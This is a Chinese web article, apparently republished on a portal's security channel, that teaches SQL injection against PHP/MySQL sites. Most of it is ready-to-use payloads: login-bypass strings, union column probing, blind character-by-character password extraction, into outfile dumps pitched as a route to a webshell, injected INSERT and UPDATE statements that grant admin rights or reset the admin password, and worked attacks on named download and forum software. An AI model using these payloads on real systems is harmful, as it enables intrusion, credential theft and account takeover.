游乐游手机版
首页/网络安全/文章详情

PHP注射一路小跑快速入门与实战技巧

时间:2026-07-27 20:31
SQL注入测试常用套路包括基础逻辑判断闭合引号、注释符截断查询、union探测字段数、从系统表提取数据、逐字符盲猜密码、intooutfile导出文件,以及利用database()等函数获取信息,核心在于闭合、注释、探测与提取。

在SQL注入测试中,有几个常用套路值得记住。先从最基础的逻辑判断说起,比如经典的 ' or 1=1' or '1=1,这类语句的核心在于强行闭合原始查询中的引号,让后面的条件恒成立,从而绕过身份验证。

很多时候,开发者会在代码里利用注释符来截断后续的查询逻辑。常见的做法是使用 /*%23(即URL编码后的 #),将查询语句中后半部分的条件直接“废掉”。例如:' and password='mypass 这种写法,本质上是利用未闭合的引号与注释符配合,构造出完全可控的 SQL 片段。

接下来进入字段探测环节。通常我们会用 id=-1 union select 1,1,1 这样的语句来测试目标表的字段数量。如果返回正常,就说明字段数匹配。更进一步,可以用 char(97) 这类函数替代数字,尝试字符型数据的显示——这在需要提取字符串内容时尤其管用。

确认字段数量后,下一步就是尝试从不同的系统表中提取数据。常见的表名有 membersadminuser。比如:id=1 union select 1,1,1 from members,如果页面返回了额外的数据行,就说明注入成功,而且我们找到了正确的表。

密码字段的探测往往需要更精细的操作。先判断字段值的长度,比如 ' and LENGTH(password)='6,然后逐字符进行比对:' and LEFT(password,1)='m' and LEFT(password,2)='my……以此类推。当然,也可以用 mid()ord() 函数进行更精准的盲注——例如 and ord(mid(password,3,1))>111,通过比较ASCII码值来缩小范围。

当我们需要批量导出数据时,into outfile 是一个强大的工具。比如:' into outfile 'c:/file.txt,或者 1' union select 1,username,password from user into outfile 'c:/user.txt。在某些配置宽松的环境下,这可以让我们直接拿到Webshell或者完整的用户数据。另一个变种是用 INTO DUMPFILE,它不会添加额外的换行符,适合写入二进制文件。

灵活运用数据库内置函数,往往能获得意想不到的信息。database() 返回当前数据库名,version() 返回数据库版本,user()system_user()session_user()current_user() 则可以揭示当前数据库连接的用户身份。比如:

  • update article SET title=DATABASE() where id=1 —— 将数据库名写入标题字段
  • update article SET title=USER() where id=1 —— 将当前用户名写入标题字段

这类技巧在信息收集阶段特别有用。

还有一些经典的查询测试语句,用于判断注入点的类型和容错能力:

  • select * FROM table where 1=1 (恒真)
  • select * FROM table where 'uuu'='uuu' (字符串恒真)
  • select * FROM table where 1<>2 (恒真)
  • select * FROM table where 3>2 (恒真)
  • select * FROM table where 2<3 (恒真)
  • select * FROM table where 1 (数字恒真)
  • select * FROM table where 1+1 (算术表达式)
  • select * FROM table where 1--1 (注释符截断)
  • select * FROM table where ISNULL(NULL) (判断空值)
  • select * FROM table where ISNULL(COT(0)) (利用函数异常)
  • select * FROM table where 1 IS NOT NULL (判断非空)
  • select * FROM table where NULL IS NULL (判断空值)
  • select * FROM table where 2 BETWEEN 1 AND 3 (范围判断)
  • select * FROM table where 'b' BETWEEN 'a' AND 'c' (字符串范围)
  • select * FROM table where 2 IN (0,1,2) (IN子句)
  • select * FROM table where CASE WHEN 1>0 THEN 1 END (条件分支)

这些语句看似简单,但能帮助测试者快速确认SQL解析引擎的行为模式。

以某个实际案例为例,比如夜猫下载系统1.0版本。在发现注入点后,先用 id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 探测到有19个字段,然后尝试从 ymdown_user 表中提取数据:union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1。通过逐位替换字段内容,比如 union select 1,username,1,password,... from ymdown_user where id=1,就能定位到用户名和密码字段。随后用 ord(mid(password,1,1))=49 这样的语句逐位猜解密码的ASCII值。

另一个经典案例来自某个论坛系统的日历模块。注入语句通常会这样构造:

  • union%20(select%20allowsmilies,public,userid,'0000-0-0',user(),version()%20FROM%20calendar_events%20where%20eventid%20=%2013)%20order%20by%20eventdate
  • union%20(select%20allowsmilies,public,userid,'0000-0-0',pass(),version()%20FROM%20calendar_events%20where%20eventid%20=%2010)%20order%20by%20eventdate

通过这种手法,可以逐步探查出用户表中的数据。当需要查询某个特定用户名(如 sandflee)的ID时,可以用:union%20(select%201,0,12695,'1999-01-01','a',userid%20FROM%20user%20where%20username='sandflee')%20order%20by%20eventdate,精准定位到目标。

在处理字段数不同的表时,union select 1,1,1,... FROM ... 这种填充式写法是标准做法。如果字段数完全一致,甚至可以简化为 union select * FROM...,直接合并结果集。

除了显式的注入点,在表单、搜索引擎等地方也可以利用模糊匹配来试探。例如输入 ___".__ ""%%' ORDER BY articleid/* 等,观察页面返回是否异常。如果开发者没有对输入做充分过滤,%_ 这类通配符就可能被带入 LIKE 子句,导致数据泄露。

对于存在命令执行漏洞的场景,甚至可以尝试直接执行系统命令:$command = "dir c:"; system($command);。当然,这通常需要配合更复杂的利用链。

在构造注入语句时,理解单引号与数字类型的区别至关重要。当查询语句为 select * FROM article where articleid='$id' 时,需要先闭合引号;而当 articleid=$id 时(无引号),则可以直接构造 1 and 1=2 union select * from user where userid=1

最后,展示一个完整的演练场景:建立一个测试库,包含用户表,并插入一条初始记录:

  • create DATABASE injection
  • create TABLE user (userid int(11) NOT NULL auto_increment, username varchar(20) NOT NULL default '', password varchar(20) NOT NULL default '', PRIMARY KEY (userid))
  • insert INTO user VALUES (1, 'swap', 'mypass')

然后模拟注册语句:insert INTO user (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1')。攻击者可以通过在 $username 中注入 ','','','3')#,将新注册用户的 userlevel 直接提升为3(通常对应管理员权限)。类似地,在更新语句中:update user SET password='$password', homepage='$homepage' where id='$id',可以注入 update user SET password='MD5(mypass)' where username='admin'#),从而不修改其他字段的情况下重置管理员密码。

投票功能同样可能藏有注入点:update news SET Votes=Votes+1, score=score+$note where idnews='$id'。如果 $note 未被过滤,攻击者可以注入 1, title=... 这类语句来篡改其他字段。

总而言之,SQL注入的技巧虽多,但核心思路始终是闭合、注释、探测、提取。熟悉这些 payload 背后的原理,远比死记硬背列表更重要。

来源:https://www.jb51.net/hack/34758.html
上一篇织梦内容管理系统5.0版本排序参数注入漏洞 下一篇中国书画联盟与站长网站友情链接检测指南
本站内容用于信息整理与展示,如有侵权或内容问题请及时联系处理。

相关推荐

补充同频道和同主题内容,方便继续浏览更多相关内容。

同类最新

继续查看同栏目最近更新的文章。

更多
DDoS攻击的三大主要形式:原理、特征与防御重点
网络安全 · 2026-08-31

DDoS攻击的三大主要形式:原理、特征与防御重点

DDoS攻击主要分为基于流量(Volume)、基于应用层(Application)和基于协议(Protocol)三种形式。流量型攻击通过海量数据淹没带宽;应用层攻击利用Web漏洞耗尽服务器资源;协议层攻击则利用TCP握手缺陷导致系统挂起。了解这些原理是制定针对性防御策略的基础。

如何有效预防和缓解DDoS攻击:5大核心策略详解
网络安全 · 2026-08-31

如何有效预防和缓解DDoS攻击:5大核心策略详解

面对DDoS攻击,单纯增加带宽已非长久之计。本文详解5大核心防护策略:优化网络硬件配置、建立DNS冗余机制、部署透明缓解技术、引入负载平衡器及专用Anti-DDoS模块。通过合理组合这些技术手段,可有效抵御SYN泛洪、Slowloris等常见攻击,保障业务连续性与网站可用性。

DDoS防护四大误区:CDN、防火墙与黑名单的局限性解析
网络安全 · 2026-08-31

DDoS防护四大误区:CDN、防火墙与黑名单的局限性解析

许多企业误以为CDN、防火墙或黑名单能完全抵御DDoS攻击。本文深入解析四大常见误区:CDN仅提供部分缓解、静态黑名单易失效、防火墙算力有限且可能成为目标、阈值警报仅具滞后性。了解这些局限性,有助于构建更立体的防御体系,避免在攻击发生时措手不及。

常见DDoS攻击类型详解:原理、特征与防御策略
网络安全 · 2026-08-31

常见DDoS攻击类型详解:原理、特征与防御策略

本文详细解析四种常见DDoS攻击类型:SYN Flood利用TCP三次握手缺陷耗尽资源;UDP Flood通过海量数据包造成带宽拥塞;ICMP Flood利用Ping请求消耗系统算力;应用层Flood针对Web脚本进行高频请求。了解其原理是制定有效防御策略的基础。

如何有效抵御DDOS攻击:4种核心防护方案解析
网络安全 · 2026-08-31

如何有效抵御DDOS攻击:4种核心防护方案解析

面对DDOS攻击,企业需构建多层防护体系。本文详解四大核心策略:利用反向路由器查询进行流量清洗,通过GCDN智能分配节点隐藏源站IP,部署负载均衡硬件分担压力,以及接入高防机房抵御数百G恶意流量。掌握这些技术,可最大程度保障业务连续性。